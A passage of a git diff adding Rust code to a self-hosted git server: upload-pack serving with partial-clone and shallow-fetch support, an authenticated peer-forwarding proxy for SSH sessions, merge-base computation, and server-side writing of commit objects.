(counts, _) = output::count::objects_unthreaded( + &odb, + &mut ids.into_iter().map(Ok), + &gix_features::progress::Discard, + interrupt, + expansion, + )?; + Ok(counts) +} + +/// Expand `ids` under `expansion` and stream them as a pack. +pub(crate) fn pack_from_ids( + odb: &gix_odb::Handle, + ids: Vec, + expansion: ObjectExpansion, + out: &mut dyn Write, + interrupt: &AtomicBool, +) -> Result<()> { + write_counts( + odb, + count_objects(odb, ids, expansion, interrupt)?, + out, + interrupt, + ) +} + +/// Stream `counts` as a v2 pack. +pub(super) fn write_counts( + odb: &gix_odb::Handle, + counts: Vec, + out: &mut dyn Write, + interrupt: &AtomicBool, +) -> Result<()> { + use gix_pack::data::output; + let mut odb = odb.clone(); + odb.prevent_pack_unload(); + + let num = counts.len() as u32; + // ponytail: PackCopyAndBaseObjects reuses existing deltas but computes no new ones; fine until clones are measurably fat + let entries = output::entry::iter_from_counts( + counts, + odb.clone(), + Box::new(gix_features::progress::Discard), + output::entry::iter_from_counts::Options { + thread_limit: Some(1), + mode: output::entry::iter_from_counts::Mode::PackCopyAndBaseObjects, + allow_thin_pack: false, + chunk_size: 1000, + version: gix_pack::data::Version::V2, + ..Default::default() + }, + ); + let mut writer = output::bytes::FromEntriesIter::new( + entries.map(|r| r.map(|(_, entries)| entries)), + out, + num, + gix_pack::data::Version::V2, + gix_hash::Kind::Sha1, + ); + for r in &mut writer { + if interrupt.load(std::sync::atomic::Ordering::Relaxed) { + return Err(err("client went away")); + } + r?; + } + Ok(()) +} diff --git a/crates/git/src/protocol/upload/refs.rs b/crates/git/src/protocol/upload/refs.rs new file mode 100644 index 00000000..bd324731 --- /dev/null +++ b/crates/git/src/protocol/upload/refs.rs @@ -0,0 +1,98 @@ +use super::super::block_on; +use crate::pktline; +use crate::store::{Repo, Store}; +use crate::Result; +use gix_hash::ObjectId; +use std::io::Write; + +/// Follow an annotated tag to the object it ultimately names. +/// +/// `refs/tags/v1` may point at a tag object, which points at another tag, which +/// points at a commit. What a client wants is the commit at the end of that chain. +pub(super) fn peel_to_object(odb: &gix_odb::Handle, mut id: ObjectId) -> Option { + let mut buf = Vec::new(); + let mut peeled = None; + // Bounded: a tag chain is two or three long in practice, and a cycle in the + // object database must not hang a ref listing. + for _ in 0..16 { + match gix_object::FindExt::find(odb, &id, &mut buf).ok()?.decode().ok()? { + gix_object::ObjectRef::Tag(t) => { + id = t.target(); + peeled = Some(id); + } + _ => return peeled, + } + } + peeled +} + +/// Which branch HEAD names. +/// +/// The default branch if it exists, else master, else the first branch there is +/// (like GitHub, for repos whose first push was not to the default). Shared, +/// because `ls-refs` advertises HEAD and `want-ref HEAD` has to resolve to the +/// same thing — two copies of this rule is a clone that fetches a different +/// branch than it was shown. +pub(super) fn head_target(refs: &[(String, ObjectId)]) -> String { + let default = crate::refs::DEFAULT_BRANCH; + let has = |b: &str| refs.iter().any(|(n, _)| n == &format!("refs/heads/{b}")); + if has(default) || !refs.iter().any(|(n, _)| n.starts_with("refs/heads/")) { + format!("refs/heads/{default}") + } else if has("master") { + "refs/heads/master".to_string() + } else { + refs.iter() + .map(|(n, _)| n) + .find(|n| n.starts_with("refs/heads/")) + .cloned() + .unwrap() + } +} + +pub(super) fn ls_refs(store: &Store, repo: &Repo, args: &[String], out: &mut dyn Write) -> Result<()> { + let symrefs = args.iter().any(|a| a == "symrefs"); + let peel = args.iter().any(|a| a == "peel"); + let unborn = args.iter().any(|a| a == "unborn"); + let prefixes: Vec<&str> = args + .iter() + .filter_map(|a| a.strip_prefix("ref-prefix ")) + .collect(); + let want = |name: &str| prefixes.is_empty() || prefixes.iter().any(|p| name.starts_with(p)); + let refs = block_on(store.list_refs(repo))?; + let head_target = head_target(&refs); + if want("HEAD") { + match refs.iter().find(|(n, _)| *n == head_target) { + Some((_, oid)) => pktline::write_text( + out, + &if symrefs { + format!("{} HEAD symref-target:{head_target}", oid.to_hex()) + } else { + format!("{} HEAD", oid.to_hex()) + }, + )?, + None => { + if unborn { + pktline::write_text(out, &format!("unborn HEAD symref-target:{head_target}"))?; + } + } + } + } + // Only opened when peeling was actually asked for: a listing should not pay + // to open the object database to answer a question nobody put. + let odb = if peel { repo.odb().ok() } else { None }; + for (name, oid) in &refs { + if !want(name) { + continue; + } + let peeled = odb + .as_ref() + .filter(|_| name.starts_with("refs/tags/")) + .and_then(|o| peel_to_object(o, *oid)); + match peeled { + Some(p) => pktline::write_text(out, &format!("{} {name} peeled:{}", oid.to_hex(), p.to_hex()))?, + None => pktline::write_text(out, &format!("{} {name}", oid.to_hex()))?, + } + } + pktline::write_flush(out)?; + Ok(()) +} diff --git a/crates/git/src/protocol/upload/walk.rs b/crates/git/src/protocol/upload/walk.rs new file mode 100644 index 00000000..f721b2f6 --- /dev/null +++ b/crates/git/src/protocol/upload/walk.rs @@ -0,0 +1,395 @@ +use gix_hash::ObjectId; +use gix_pack::data::output::count::objects::ObjectExpansion; +use crate::Result; +use std::sync::atomic::AtomicBool; + +/// What a client asked us to leave OUT of the pack — partial clone. +/// +/// History stays whole; the bulk does not. The client records the server as a +/// "promisor" and comes back for individual objects when it actually needs them, +/// which is why `Fetch::wants` has to allow more than ref tips once this is on. +#[derive(Clone, Copy, PartialEq)] +pub(super) enum Filter { + /// No blobs at all — `blob:none`. + NoBlobs, + /// Blobs under this many bytes — `blob:limit=`. + BlobLimit(u64), + /// Commits only, no trees and no blobs — `tree:0`. + NoTrees, +} + +impl Filter { + pub(super) fn parse(spec: &str) -> Option { + match spec.trim() { + "blob:none" => Some(Filter::NoBlobs), + "tree:0" => Some(Filter::NoTrees), + other => other + .strip_prefix("blob:limit=") + .and_then(parse_size) + .map(Filter::BlobLimit), + } + } +} + +/// `1024`, `10k`, `1m`, `1g` — the suffixes git itself accepts. +pub(super) fn parse_size(s: &str) -> Option { + let s = s.trim(); + let (digits, mult) = match s.chars().last()?.to_ascii_lowercase() { + 'k' => (&s[..s.len() - 1], 1024), + 'm' => (&s[..s.len() - 1], 1024 * 1024), + 'g' => (&s[..s.len() - 1], 1024 * 1024 * 1024), + _ => (s, 1), + }; + // checked: a client-supplied `blob:limit=` filter multiplying overflow would wrap + // to a small number, silently turning a huge limit into a near-zero one. + digits.trim().parse::().ok().and_then(|n| n.checked_mul(mult)) +} + +/// Expand `commits` into the objects a filtered pack should carry. +/// +/// Done here rather than by the packer's own tree expansion, because the whole +/// point is to decide per object whether it goes in — which is a decision the +/// "expand everything under these commits" mode cannot express. +pub(super) fn filtered_objects( + odb: &gix_odb::Handle, + commits: &[ObjectId], + filter: Filter, +) -> Result> { + use gix_object::FindExt; + use std::collections::HashSet; + + let mut out: Vec = Vec::new(); + let mut seen: HashSet = HashSet::new(); + let mut buf = Vec::new(); + + // Commit objects always travel: a partial clone still has all of history. + let mut trees: Vec = Vec::new(); + for c in commits { + if !seen.insert(*c) { + continue; + } + out.push(*c); + if filter == Filter::NoTrees { + continue; + } + // A miss here would silently ship a pack with a hole in it — an object the client is + // told it has and does not. + if let gix_object::ObjectRef::Commit(commit) = FindExt::find(odb, c, &mut buf)?.decode()? { + trees.push(commit.tree()); + } + } + + while let Some(id) = trees.pop() { + if !seen.insert(id) { + continue; + } + let tree = odb.find_tree(&id, &mut buf)?; + out.push(id); + // Collected before the next find_tree call reuses the buffer. + let entries: Vec<(ObjectId, bool)> = tree + .entries + .iter() + .map(|e| (e.oid.to_owned(), e.mode.is_tree())) + .collect(); + for (child, is_tree) in entries { + if is_tree { + trees.push(child); + } else if seen.insert(child) && keep_blob(odb, child, filter) { + out.push(child); + } + } + } + Ok(out) +} + +/// A blob's SIZE decides `blob:limit`, and the size is in the object header — +/// so this never inflates a blob to find out whether to send it. +pub(super) fn keep_blob(odb: &gix_odb::Handle, id: ObjectId, filter: Filter) -> bool { + match filter { + Filter::NoBlobs | Filter::NoTrees => false, + Filter::BlobLimit(max) => { + use gix_object::FindHeader; + odb.try_header(&id).ok().flatten().is_some_and(|h| h.size <= max) + } + } +} + +/// What a client asked us to cut its history down to. +/// +/// All three of git's ways of saying "less history" are the same walk with a +/// different stop condition, so they are one struct rather than three code paths. +#[derive(Default)] +pub(super) struct Deepen { + /// `deepen `: n commits back from each want. 1 means "just the tips". + pub(super) depth: Option, + /// `deepen-since `: nothing committed before this. + pub(super) since: Option, + /// `deepen-not `: stop when the walk reaches these. + pub(super) not: Vec, + /// `shallow `: boundaries the client already has. It re-sends these every + /// time, which is why the server keeps no per-client state. + pub(super) client_shallow: Vec, + /// `deepen-relative`: depth counts from the client's existing boundary rather + /// than from the tips. + pub(super) relative: bool, +} + +impl Deepen { + pub(super) fn asked(&self) -> bool { + self.depth.is_some() || self.since.is_some() || !self.not.is_empty() + } +} + +/// The commits a shallow fetch should send, and where its history is cut. +pub(super) struct Shallow { + /// Every commit inside the boundary — what the pack will carry. + pub(super) commits: Vec, + /// Commits whose parents are being withheld. The client records these as its + /// new `.git/shallow`. + pub(super) boundary: Vec, + /// Commits the client had as a boundary that are now complete. This is what + /// `--unshallow` reports. + pub(super) unshallow: Vec, +} + +/// Walk back from `wants`, stopping where the client asked. +/// +/// Breadth-first by design: `depth` is measured in commits from the tip, so every +/// commit at distance n must be seen before any at n+1. A depth-first walk would +/// cut one long branch and leave a short one whole. +pub(super) fn shallow_walk(odb: &gix_odb::Handle, wants: &[ObjectId], d: &Deepen) -> Result { + use std::collections::{HashMap, HashSet, VecDeque}; + + let cut: HashSet = d.not.iter().copied().collect(); + // With `deepen-relative` the client is asking for n MORE commits, so its + // current boundary starts at distance 0 rather than being excluded. + let mut depth_of: HashMap = HashMap::new(); + let mut queue: VecDeque<(ObjectId, usize)> = VecDeque::new(); + if d.relative { + for c in &d.client_shallow { + queue.push_back((*c, 0)); + } + } + for w in wants { + queue.push_back((*w, 1)); + } + + let mut boundary = Vec::new(); + let mut buf = Vec::new(); + let mut pbuf = Vec::new(); + while let Some((id, depth)) = queue.pop_front() { + if let Some(prev) = depth_of.get(&id) { + if *prev <= depth { + continue; + } + } + let Ok(obj) = gix_object::FindExt::find(odb, &id, &mut buf) else { continue }; + let Ok(gix_object::ObjectRef::Commit(commit)) = obj.decode() else { continue }; + + depth_of.insert(id, depth); + + // Would this commit's parents be inside the boundary? + let deep_enough = d.depth.is_some_and(|max| depth >= max); + let parents: Vec = commit.parents().collect(); + + if parents.is_empty() { + // A root commit has no history to withhold, so it is not a boundary + // even at the depth limit — saying otherwise makes a complete clone + // claim to be shallow. + continue; + } + if deep_enough || cut.contains(&id) { + boundary.push(id); + continue; + } + for p in parents { + // `since` is checked on the PARENT here, before it would be queued — + // never after insertion into depth_of — so a too-old commit never + // enters the pack or gets reported as the boundary itself. `id` + // (the youngest commit still >= since) becomes the boundary instead. + let too_old = d.since.is_some_and(|since| { + gix_object::FindExt::find(odb, &p, &mut pbuf) + .ok() + .and_then(|o| { + o.decode().ok().and_then(|dec| match dec { + gix_object::ObjectRef::Commit(c) => c.time().ok(), + _ => None, + }) + }) + .is_some_and(|t| t.seconds < since) + }); + if cut.contains(&p) || too_old { + boundary.push(id); + } else { + queue.push_back((p, depth + 1)); + } + } + } + + // A commit the client listed as a boundary is complete now if we reached it + // and are not cutting there again. + let boundary_set: HashSet = boundary.iter().copied().collect(); + let unshallow = d + .client_shallow + .iter() + .copied() + .filter(|c| depth_of.contains_key(c) && !boundary_set.contains(c)) + .collect(); + + boundary.sort(); + boundary.dedup(); + Ok(Shallow { + commits: depth_of.into_keys().collect(), + boundary, + unshallow, + }) +} + +/// Which of `targets` a commit walk from `tips` reaches — the `have` question, and the "is +/// this want ours" question for a commit. Stops the moment the last target is found, so an +/// up-to-date fetch (its haves ARE the tips) costs one lookup, and a client a few commits behind +/// pays for those few; only a have this repo has never seen walks every commit. The old answer +/// was the full object closure — O(repo) per fetch, for a question about commits. +pub(super) fn reachable_commits( + odb: &gix_odb::Handle, + tips: &[ObjectId], + targets: &[ObjectId], +) -> Result> { + let mut want: std::collections::HashSet = targets.iter().copied().collect(); + let mut found = std::collections::HashSet::new(); + let Peeled { commits, tags, .. } = peel_wants(odb, tips)?; + for t in tags { + if want.remove(&t) { + found.insert(t); + } + } + for info in gix_traverse::commit::Simple::new(commits, odb.clone()) { + if want.is_empty() { + break; + } + let id = info?.id; + super::walked(1); + if want.remove(&id) { + found.insert(id); + } + } + Ok(found) +} + +/// What a list of wants splits into: commits (walkable), the tags passed through on the way to +/// them (sent as-is), and trees or blobs wanted directly (a promisor fetch; sent as-is). +/// +/// Only commits can be walked, which is the whole reason for the split. +pub(super) struct Peeled { + pub(super) commits: Vec, + pub(super) tags: Vec, + pub(super) leaves: Vec, +} + +pub(super) fn peel_wants(odb: &gix_odb::Handle, wants: &[ObjectId]) -> Result { + let mut buf = Vec::new(); + let mut p = Peeled { commits: Vec::new(), tags: Vec::new(), leaves: Vec::new() }; + for w in wants { + let mut id = *w; + loop { + match gix_object::FindExt::find(odb, &id, &mut buf)?.decode()? { + gix_object::ObjectRef::Commit(_) => { + p.commits.push(id); + break; + } + gix_object::ObjectRef::Tag(t) => { + p.tags.push(id); + id = t.target(); + } + _ => { + p.leaves.push(id); + break; + } + } + } + } + Ok(p) +} + +/// What one traversal of `wants`-minus-`haves` yields — computed once per fetch and shared +/// between the include-tag decision and the pack itself, because the walk is the expensive +/// half of serving a clone and used to run twice. +pub(crate) struct Range { + /// Tags passed through on the way to the commits, then every commit in the range. + pub(crate) ids: Vec, + /// Trees or blobs wanted directly (a promisor fetch) — kept apart because they are + /// not filtered: the client asked for those exact objects. + pub(crate) leaves: Vec, + /// The merge commits in the range, captured from the traversal's own parent list so the + /// gix#2935 second pass (see `write_pack_range` in `pack.rs`) costs no re-decode of every + /// commit. + pub(crate) merges: Vec, + /// Parents outside the range — the commits the new history grows from. A push's + /// connectivity check explains an unchanged subtree by their trees. + pub(crate) boundary: Vec, +} + +/// The commits a fetch would send: reachable from `wants`, not from `haves`. +pub(crate) fn commit_range( + odb: &gix_odb::Handle, + wants: Vec, + haves: Vec, +) -> Result { + let Peeled { commits, tags, leaves } = peel_wants(odb, &wants)?; + let mut ids = tags; + let mut merges = Vec::new(); + let mut parents = Vec::new(); + for info in gix_traverse::commit::Simple::new(commits, odb.clone()).hide(haves)? { + let info = info?; + if info.parent_ids.len() > 1 { + merges.push(info.id); + } + parents.extend(info.parent_ids.iter().copied()); + ids.push(info.id); + } + let in_range: std::collections::HashSet = ids.iter().copied().collect(); + let mut boundary: Vec = parents.into_iter().filter(|p| !in_range.contains(p)).collect(); + boundary.sort(); + boundary.dedup(); + Ok(Range { ids, leaves, merges, boundary }) +} + +/// Count `ids` under `expansion`, then add a `TreeContents` pass for `leaves` — trees and blobs +/// the client wanted by id, which git expands whole. Deduped by id because each count call has +/// its own `seen` set and a repeated entry is a corrupt pack. +pub(super) fn counts_with_leaves( + odb: &gix_odb::Handle, + ids: Vec, + expansion: ObjectExpansion, + leaves: Vec, + interrupt: &AtomicBool, +) -> Result> { + let mut counts = super::pack::count_objects(odb, ids, expansion, interrupt)?; + if !leaves.is_empty() { + let mut seen: std::collections::HashSet = counts.iter().map(|c| c.id).collect(); + counts.extend( + super::pack::count_objects(odb, leaves, ObjectExpansion::TreeContents, interrupt)? + .into_iter() + .filter(|c| seen.insert(c.id)), + ); + } + Ok(counts) +} + +#[cfg(test)] +mod parse_size_tests { + use super::parse_size; + + #[test] + fn parse_size_overflow_returns_none() { + // 18014398509481984 * 1024^3 overflows u64; must not wrap to a small limit. + assert_eq!(parse_size("18014398509481984g"), None); + } + + #[test] + fn parse_size_normal_values() { + assert_eq!(parse_size("1024"), Some(1024)); + assert_eq!(parse_size("10k"), Some(10 * 1024)); + assert_eq!(parse_size("1g"), Some(1024 * 1024 * 1024)); + } +} diff --git a/crates/git/src/proxy.rs b/crates/git/src/proxy.rs new file mode 100644 index 00000000..366a4150 --- /dev/null +++ b/crates/git/src/proxy.rs @@ -0,0 +1,142 @@ +//! Forwarding a request to the node the ownership map names as the owner. +//! +//! Two forwarding shapes, because the two client protocols are not the same shape. An HTTP request +//! is one request and one response, so it is reverse-proxied. An SSH session is a stream carrying +//! an advertisement and then repeated commands, so it is piped (see `stream`). + +pub use rustic_git_core::peer::*; + +use crate::Result; +use std::time::Duration; + +// ---- The stream side: forwarded SSH sessions, piped byte for byte. ---- + +use crate::App; +use std::sync::Arc; +use tokio::io::{AsyncBufReadExt, AsyncReadExt, AsyncWriteExt, BufReader}; +use tokio::net::TcpListener; + +const HEADER_MAX: usize = 1024; +const HEADER_TIMEOUT: Duration = Duration::from_secs(5); + +/// Accept forwarded SSH sessions. +/// +/// One header line, then one status line back, then the git protocol byte for byte. The socket is +/// then handed to the same `serve_git` a local SSH client reaches, so nothing about the protocol is +/// reimplemented here — which is the point of piping rather than translating. +pub async fn serve_peer_streams(app: Arc, listener: TcpListener) -> Result<()> { + loop { + let (sock, _) = listener.accept().await?; + let app = app.clone(); + tokio::spawn(async move { + if let Err(e) = serve_peer_stream(app, sock).await { + tracing::warn!(error = %e, "peer stream failed"); + } + }); + } +} + +async fn serve_peer_stream(app: Arc, sock: tokio::net::TcpStream) -> Result<()> { + let mut reader = BufReader::new(sock); + // Bounded and timed: a stray connection that never sends a newline must not hold a task or + // grow a buffer without limit. + let mut header = Vec::new(); + let n = tokio::time::timeout( + HEADER_TIMEOUT, + (&mut reader).take(HEADER_MAX as u64).read_until(b'\n', &mut header), + ) + .await??; + if n == 0 || header.last() != Some(&b'\n') { + return Err(crate::err("peer stream: bad header")); // silently closed + } + let header = String::from_utf8_lossy(&header).trim_end().to_string(); + let mut parts = header.splitn(5, ' '); + // Secret first, checked before anything else is parsed. Wrong: close without a byte. + let presented = parts.next().unwrap_or_default(); + if !secret_eq(presented, &app.forwarder.secret) { + return Err(crate::err("peer stream: secret")); + } + let service = parts.next().unwrap_or_default().to_string(); + let repo = parts.next().unwrap_or_default().to_string(); + let owner = parts.next().unwrap_or_default().to_string(); + // Unparseable hops = exhausted: serve here rather than bounce. + let hops: u32 = parts.next().and_then(|h| h.parse().ok()).unwrap_or(MAX_HOPS); + + // From here on, refusals are reported as a status line: the forwarding node relays them so + // the client sees a reason and a non-zero exit, as it would from a local session. + // `&'static str`: an annotated `&str` here would be higher-ranked and the returned future could + // not capture it. Every reason is a literal, so 'static is honest. + let refuse = |reader: BufReader, why: &'static str| async move { + let mut s = reader.into_inner(); + let _ = s.write_all(format!("error: {why}\n").as_bytes()).await; + Err::<(), crate::Error>(crate::err(why)) + }; + if service != "git-upload-pack" && service != "git-receive-pack" { + return refuse(reader, "unsupported service").await; + } + if !crate::store::valid_segment(&owner) { + return refuse(reader, "invalid owner").await; + } + let Some((ro, rn)) = crate::protocol::parse_repo_path(&repo) else { + return refuse(reader, "invalid repo path").await; + }; + // The forwarding node authenticated the client; this node still decides what that identity may + // reach. Trusting who the caller says it is is not the same as skipping authorisation. + // A peer always presents an identity, so the public flag can never change this outcome. + if !crate::auth::authorize(Some(owner.as_str()), &ro, false) { + return refuse(reader, "access denied").await; + } + // Same rule as HTTP: consult the map from here, forward on if it names someone else — unless + // out of hops, where we still refuse to serve what routing says is not ours. + let route = app.route(&format!("{ro}/{rn}")).await; + if hops >= MAX_HOPS && !matches!(route, crate::ownership::Route::Local) { + return refuse(reader, "routing disagreement at hop limit; retry").await; + } + if hops < MAX_HOPS { + match route { + crate::ownership::Route::Local => {} + crate::ownership::Route::Unavailable => { + return refuse(reader, "no node may safely serve this repository; retry").await + } + crate::ownership::Route::Peer(peer) => { + // Two-hop: we are the middle node. stream_to_peer reads the OWNER's status line + // itself; with `relay = true` it writes a status line UPSTREAM to the node that + // forwarded to us — "ok" once the owner said ok, or "error: …" if the owner refused + // — BEFORE piping, so it can never write "error:" after "ok". Keep the BufReader: + // any bytes it buffered past the header belong to git. + let mut sock = reader; + return stream_to_peer( + &app.forwarder.secret, + &stream_addr(&peer.addr), + &service, + &format!("{ro}/{rn}"), + &owner, + hops, + &mut sock, + true, + ) + .await; + } + } + } + // "ok" goes out BEFORE open_repo. Opening a cold repo downloads its packs — seconds to + // minutes for a big one — and the forwarding node is waiting on this line under a short + // timeout meant for the header exchange, not for a pack download. Once "ok" is sent, a + // missing repo is reported the way a local session reports it: on the git ERR channel with a + // non-zero exit, which git prints as-is. + let mut sock = reader; // BufReader kept: see above + sock.get_mut().write_all(b"ok\n").await?; + let repo = match app.open_repo_after_fence(&ro, &rn).await { + Ok(Some(r)) => r, + Ok(None) => { + let _ = crate::pktline::write_err(&mut sock, "repository not found").await; + return Err(crate::err("repository not found")); + } + Err(e) if crate::pool::is_fenced(&e) => { + let _ = crate::pktline::write_err(&mut sock, "repository moved; retry").await; + return Err(e); + } + Err(e) => return Err(e), + }; + crate::ssh::serve_git(app.store.clone(), repo, &service, sock).await +} diff --git a/src/ssh.rs b/crates/git/src/ssh.rs similarity index 99% rename from src/ssh.rs rename to crates/git/src/ssh.rs index 48e4b1c1..3b02d507 100644 --- a/src/ssh.rs +++ b/crates/git/src/ssh.rs @@ -219,8 +219,7 @@ async fn run( } } let repo = app - .store - .open_repo(&owner, &name) + .open_repo_after_fence(&owner, &name) .await? .ok_or_else(|| crate::err("repository not found"))?; let store = app.store.clone(); diff --git a/crates/gitbase/Cargo.toml b/crates/gitbase/Cargo.toml new file mode 100644 index 00000000..ade25bc6 --- /dev/null +++ b/crates/gitbase/Cargo.toml @@ -0,0 +1,22 @@ +[package] +name = "rustic-git-gitbase" +version = "0.1.0" +edition = "2021" +license = "SSPL-1.0" + +[lib] +name = "rustic_git_gitbase" + +[dependencies] +rustic-git-core = { path = "../core" } +rustic-git-storage = { path = "../storage" } +gix-odb = { workspace = true } +gix-hash = { workspace = true } +gix-object = { workspace = true } +gix-pack = { workspace = true } +gix-traverse = { workspace = true } +gix-features = { workspace = true } +gix-actor = { workspace = true } +flate2 = { workspace = true } +tokio = { workspace = true } +serde = { workspace = true } diff --git a/crates/gitbase/src/lib.rs b/crates/gitbase/src/lib.rs new file mode 100644 index 00000000..792113b1 --- /dev/null +++ b/crates/gitbase/src/lib.rs @@ -0,0 +1,13 @@ +//! Git object plumbing: writing new objects into a repo's pack store, ref protection's +//! gix-touching half, and merge-base — everything that walks or writes a `gix_odb::Handle`. +//! +//! Split out of the old single lib so the gix dependency stack does not +//! have to be pulled in by callers that only need `rustic-git-storage`. + +pub(crate) use rustic_git_core::{err, Result}; +pub(crate) use rustic_git_storage::store; + +pub mod objects; +pub mod refs; +mod merge_base; +pub use merge_base::{merge_base, MergeBase}; diff --git a/crates/gitbase/src/merge_base.rs b/crates/gitbase/src/merge_base.rs new file mode 100644 index 00000000..c103de20 --- /dev/null +++ b/crates/gitbase/src/merge_base.rs @@ -0,0 +1,95 @@ +use gix_hash::ObjectId; + +/// What a bounded merge-base walk concluded. Three answers, not two: "no ancestor within the +/// budget" used to collapse into `None`, and callers read that as "unrelated" — which on a +/// long-lived branch of a big repo recorded a perfectly mergeable change as Dirty and hid its +/// merge button. Running out of budget is "I do not know", and must stay distinguishable. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum MergeBase { + Found(ObjectId), + /// Both histories were walked to their roots and share nothing. + Unrelated, + /// The walk stopped at the budget before either history was exhausted. + Exhausted, +} + +/// The best common ancestor of two commits — where a branch left the one it +/// wants back into. +/// +/// Bounded, like every other walk here: `Exhausted` when the answer would take more than +/// `budget` commits, which callers must treat as unknown rather than guessing either way. +pub fn merge_base(odb: &gix_odb::Handle, a: ObjectId, b: ObjectId, budget: usize) -> MergeBase { + if a == b { + return MergeBase::Found(a); + } + // Everything reachable from `a`, then the first of `b`'s ancestors in it. + // First by generation rather than best-by-date: `Simple` walks newest-first, + // so the first hit is the closest common ancestor for the histories a review + // actually sees. + let mut walked_a = 0; + let seen: std::collections::HashSet = gix_traverse::commit::Simple::new(Some(a), odb.clone()) + .take(budget) + .inspect(|_| walked_a += 1) + .filter_map(|i| i.ok().map(|i| i.id)) + .collect(); + if seen.contains(&b) { + return MergeBase::Found(b); + } + let mut walked_b = 0; + let hit = gix_traverse::commit::Simple::new(Some(b), odb.clone()) + .take(budget) + .inspect(|_| walked_b += 1) + .filter_map(|i| i.ok().map(|i| i.id)) + .find(|id| seen.contains(id)); + match hit { + Some(m) => MergeBase::Found(m), + // A walk that yielded exactly `budget` commits may have more behind it; only one that + // ran dry on both sides proves the histories are disjoint. + None if walked_a < budget && walked_b < budget => MergeBase::Unrelated, + None => MergeBase::Exhausted, + } +} + +#[cfg(test)] +mod tests { + use super::{merge_base, MergeBase}; + use gix_hash::ObjectId; + use gix_object::Write as _; + + fn commit(odb: &gix_odb::Handle, parents: &[ObjectId], msg: &str) -> ObjectId { + let tree = odb.write(&gix_object::Tree::empty()).unwrap(); + let sig = gix_actor::Signature { + name: "t".into(), + email: "t@x".into(), + time: gix_actor::date::Time::new(1_700_000_000, 0), + }; + odb.write(&gix_object::Commit { + tree, + parents: parents.iter().copied().collect(), + author: sig.clone(), + committer: sig, + encoding: None, + message: msg.into(), + extra_headers: vec![], + }) + .unwrap() + } + + #[test] + fn exhausted_budget_is_not_unrelated() { + let dir = std::env::temp_dir().join(format!("rg-mb-{}", std::process::id())); + let _ = std::fs::remove_dir_all(&dir); + std::fs::create_dir_all(&dir).unwrap(); + let odb = gix_odb::at(&dir).unwrap(); + let root = commit(&odb, &[], "root"); + let p = commit(&odb, &[root], "p"); + let q = commit(&odb, &[p], "q"); + let stray = commit(&odb, &[], "stray"); + + assert_eq!(merge_base(&odb, q, p, 50), MergeBase::Found(p)); + assert_eq!(merge_base(&odb, q, stray, 50), MergeBase::Unrelated); + // A budget of one sees only the tips: the answer is unknown, not "no shared history". + assert_eq!(merge_base(&odb, q, p, 1), MergeBase::Exhausted); + let _ = std::fs::remove_dir_all(&dir); + } +} diff --git a/crates/gitbase/src/objects.rs b/crates/gitbase/src/objects.rs new file mode 100644 index 00000000..20e45d4d --- /dev/null +++ b/crates/gitbase/src/objects.rs @@ -0,0 +1,432 @@ +//! Putting an object we made into a repo. +//! +//! Everything else here only ever RECEIVES objects — a push arrives as a pack, +//! gets indexed, and is uploaded. Nothing constructs one. Merging does: a squash +//! or a merge commit is a commit that did not exist until the server made it. +//! +//! The route is deliberately the same one a push takes. A new object is written +//! into a one-object pack, indexed by the same `Bundle::write_to_directory` that +//! validates every push, and uploaded by the same `upload_pack_files`. That means +//! an object we invent is stored, verified and replicated exactly like one a +//! client sent — no second path to storage, and no second set of bugs. + +use crate::store::{Repo, Store}; +use crate::{err, Result}; +use gix_hash::ObjectId; +use gix_object::WriteTo; +use std::sync::atomic::AtomicBool; + +/// Objects made in memory, waiting to be written together. +/// +/// A three-way merge produces new blobs (merged file contents) and new trees +/// (every directory on the path to a changed file), and only then the commit. All +/// of them have to land, and landing them one pack at a time would leave a repo +/// holding a tree whose blobs are missing if anything failed in between. +/// +/// So ids are computed as objects are made — a git id IS the hash of the bytes, +/// so nothing has to be stored to know it — and everything is written in one pack +/// at the end. Either the whole merge lands or none of it does. +#[derive(Default)] +pub struct Staging { + objects: Vec<(gix_object::Kind, Vec)>, +} + +impl Staging { + /// Stage one object and return the id it will have. + pub fn add(&mut self, kind: gix_object::Kind, body: Vec) -> Result { + let oid = gix_object::compute_hash(gix_hash::Kind::Sha1, kind, &body) + .map_err(|e| err(e.to_string()))?; + self.objects.push((kind, body)); + Ok(oid) + } + + pub fn is_empty(&self) -> bool { + self.objects.is_empty() + } + + /// Write everything staged into `repo`, in one pack. + pub async fn write(self, store: &Store, repo: &Repo) -> Result<()> { + if self.objects.is_empty() { + return Ok(()); + } + write_pack_of_objects(store, repo, self.objects).await + } +} + +/// What a caller has to say to make a commit. +/// +/// Deliberately not `gix_object::Commit`: the api tier should be able to ask for +/// a squash without learning gitoxide's types, and keeping the git shapes on this +/// side of the wall means the merge strategies read as what they mean. +pub struct NewCommit { + /// The tree the commit points at — for a squash or a merge commit, the head + /// branch's tree, since the content being landed is exactly what is on it. + pub tree: ObjectId, + /// One parent squashes; two make a merge commit. + pub parents: Vec, + pub message: String, + pub author_name: String, + pub author_email: String, + /// Seconds since the epoch. Passed in rather than read from the clock so the + /// same request twice produces the same commit id. + pub time: i64, +} + +/// Write one commit into `repo` and return its id. +/// +/// The id is computed from the object's bytes, so it is known before the write — +/// which is what makes this safe to retry: writing the same commit twice produces +/// the same id and the second pack is redundant rather than wrong. +pub async fn write_commit(store: &Store, repo: &Repo, new: NewCommit) -> Result { + let who = gix_actor::Signature { + name: new.author_name.into(), + email: new.author_email.into(), + time: gix_object::date::Time::new(new.time, 0), + }; + let commit = gix_object::Commit { + tree: new.tree, + parents: new.parents.into(), + author: who.clone(), + committer: who, + encoding: None, + message: new.message.into(), + extra_headers: Vec::new(), + }; + + let mut body = Vec::new(); + commit.write_to(&mut body)?; + let oid = gix_object::compute_hash(gix_hash::Kind::Sha1, gix_object::Kind::Commit, &body) + .map_err(|e| err(e.to_string()))?; + + // Already there — a retry, or two people merging the same thing at once. + if repo.odb().is_ok_and(|odb| gix_object::Find::try_find(&odb, &oid, &mut Vec::new()).is_ok_and(|o| o.is_some())) { + return Ok(oid); + } + + write_pack_of_objects(store, repo, vec![(gix_object::Kind::Commit, body)]).await?; + Ok(oid) +} + +/// Write a set of objects into `repo` as one pack, through the push path. +/// +/// Indexed by the same `Bundle::write_to_directory` that validates every push, so +/// a malformed object fails here rather than becoming a ref nobody can read. The +/// indexing is CPU work (zlib, SHA-1) and runs on a blocking thread: the api tier +/// awaits this from a request handler, and a merge stalling every other request on +/// that worker thread is how "merge" shows up as latency on unrelated pages. +async fn write_pack_of_objects( + store: &Store, + repo: &Repo, + objects: Vec<(gix_object::Kind, Vec)>, +) -> Result<()> { + let r = repo.clone(); + let (data, index) = 